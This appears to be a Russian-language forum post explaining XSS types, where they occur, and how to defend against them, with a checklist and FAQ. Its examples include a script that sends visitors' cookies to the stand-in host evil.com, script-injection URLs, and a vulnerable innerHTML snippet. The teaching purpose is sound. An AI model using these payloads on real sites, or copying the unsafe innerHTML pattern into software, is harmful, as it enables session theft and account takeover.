Как защитить сайт от XSS — обсуждение
 

XSS (Cross-Site Scripting) по-прежнему одна из самых распространённых и в то же время опасных уязвимостей в веб-приложениях. Плюс ко всему, многие недавно приходящие в веб-разработку или администрирование не до конца понимают размах последствий и способы защиты. Давайте внимательно разберёмся, что это такое, почему это серьёзно и как обезопасить свой сайт от таких атак на практике.

Что такое XSS и почему это больно?

XSS — это когда злоумышленник каким-то образом вставляет в ваш сайт вредоносный код (обычно JavaScript, но бывают и другие варианты), который потом выполняется непосредственно в браузере посетителей. Представьте, что кто-то под видом обычного комментария или запроса вставит скрипт, который начнёт забирать с куков сессионные данные, менять вид страницы, подсовывать фальшивые формы или редиректы на опасные сайты. То есть атака случается не на сам сервер напрямую, а через браузеры ваших пользователей, что зачастую делает её менее заметной и более коварной.

Основные типы XSS

1. Stored XSS (сохраняемый)

Самый опасный тип. Вредоносный скрипт сохраняется где-то на сервере — в базе данных, в комментариях, в профиле пользователя, в форумах и так далее. Когда другие пользователи заходят на эту страницу, скрипт загружается и срабатывает у них в браузере. Например, в комментариях на сайте кто-то пишет:
<script>alert('XSS!')</script> — и если сайт не фильтрует &lt; и &gt;, этот код выполнится у всех, кто просмотрит страницу с этим комментом.

2. Reflected XSS (отражённый)

Это ситуационный, когда вредоносный скрипт передаётся через URL или через форму, а сервер сразу же «отражает» его в ответе без должной фильтрации. К примеру, вы принимаете поисковый запрос и выводите его обратно на страницу, не экранируя специальные символы — злоумышленник может сформировать ссылку, которая содержит скрипт. Если пользователь перейдёт по такой ссылке, скрипт выполнится в его браузере.

3. DOM-based XSS

Самый хитрый вариант — здесь уязвимость в самом клиентском коде, зачастую JavaScript неправильно обрабатывает данные из URL, фрагментов страницы или даже из локального хранилища, вставляя их в DOM без экранирования. Это не серверная проблема, здесь нужно лечить фронтенд-код, причём часто баги проявляются только на определённых взаимодействиях пользователя.

Где искать XSS

В общем случае XSS может поджидать там, где есть ввод пользователя, который потом выводится обратно на страницу. Типичные места:

- Комментарии и отзывы.
- Форма обратной связи.
- Поля профиля пользователя (например, «о себе»).
- Поисковые поля.
- URL-параметры и GET-запросы.
- Динамические пользовательские панели, виджеты.
- Любое место, где вставляется контент без должной фильтрации.

Практические примеры

Пример 1. Stored XSS в комментариях

Пользователь написал в комментариях:

<script>document.location='http://evil.com?cookie='+document.cookie</script>

Если сайт не экранировал теги, это приведёт к тому, что при просмотре комментария скрипт отправит куки пользователя злоумышленнику.

Пример 2. Reflected XSS через URL

Пусть на сайте есть страница поиска, которая выводит запрос на экран:

http://example.com/search?q=apple<script>alert(1)</script>

Если сервер вставит содержимое параметра q в ответ без фильтра — скрипт сработает.

Пример 3. DOM-based XSS

На сайте есть скрипт, который берёт хэш из URL и вставляет его в innerHTML без проверки:

var hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

Тогда URL:

http://example.com/page#<img src=x onerror=alert(1)>

приведёт к выполнению alert.

Чек-лист защиты от XSS

- Всегда экранируйте вывод пользовательских данных, особенно при вставке в HTML. Используйте готовые библиотеки (например, htmlspecialchars в PHP) или шаблонизаторы, которые делают это автоматически.
- Никогда не вставляйте данные напрямую в innerHTML без проверки.
- Используйте Content Security Policy (CSP), чтобы ограничить выполнение сторонних скриптов.
- Для URL-параметров валидируйте и фильтруйте данные на стороне сервера.
- Применяйте HTTP-only куки для сессионных данных — чтобы скрипты их не могли достать.
- Регулярно обновляйте используемые CMS, плагины и библиотеки — иногда XSS появляются из-за старых компонентов.
- Для форм используйте методы очистки вводимых данных (валидация + фильтрация).
- Внимательно относитесь к возможностям пользователей добавлять содержимое на сайт (комментарии, профили).

Типичные ошибки при защите

- Фильтрация только по «запрещённым» тегам (например, просто удаляли тег <script>) — это бессмысленно, потому что XSS можно сделать без <script>, через onerror, onload, data URI и другие способы.
- Применение некачественных регулярных выражений, которые легко обходятся.
- Использование небезопасных функций вставки данных (innerHTML, document.write) без фильтров.
- Неправильная настройка CSP — например, разрешение unsafe-inline.
- Доверие вводимым данным из AJAX-запросов без проверки.
- Игнорирование клиентской части, думая что XSS только серверная болячка.

FAQ

Вопрос: Можно ли полностью избежать XSS?

Ответ: В теории — да, если строго фильтровать и экранировать все данные, а также использовать CSP. На практике бывают нюансы и баги, поэтому регулярный аудит кода и тестирование обязательны.

Вопрос: Что выбирать — фильтрацию или кодировку (экранирование)?

Ответ: Фильтрация удаляет или заменяет опасные символы, а кодирование — заменяет их на безопасные сущности (например, &lt; вместо <). Лучше использовать именно кодирование на выходе, а фильтровать — на входе.

Вопрос: Можно ли бороться с XSS только на клиенте?

Ответ: Нет. Клиентские защиты легко обходятся. Всегда нужно дублировать проверки и фильтрацию на сервере.

Вопрос: Как проверить, что сайт не уязвим?

Ответ: Используйте специализированные сканеры безопасности (типа OWASP ZAP, Burp Suite) или тестируйте на практике — вставляйте в поля разные payload’ы и смотрите реакцию. Важно делать это на тестовом сервере.

Вопрос: Что делать, если XSS нашли на вёрстке или в CMS?

Ответ: Срочно исправлять. Часто обновления CMS включают патчи по безопасности. Можно также временно запретить введение контента с богатым форматированием.

----

В итоге, XSS — это серьёзная вещь, с которой бороться надо комплексно: и на уровне проверки вводимых данных, и на уровне их безопасного вывода, и на уровне настройки сервера. Если кто-то думает, что это старая история — нет, XSS успешно эксплуатируются и сейчас, в том числе и на крупных сайтах. Один косяк может привести к массовому срыву сессий, перенаправлениям, появлению вирусов и вообще полной потере контроля над пользовательскими аккаунтами. Поэтому всем, кто занимается своими сайтами — знакомьтесь с темой, тестируйте и внедряйте меры защиты как можно раньше.

Если есть конкретные вопросы по коду, инструментам или настройки — спрашивайте, обсудим.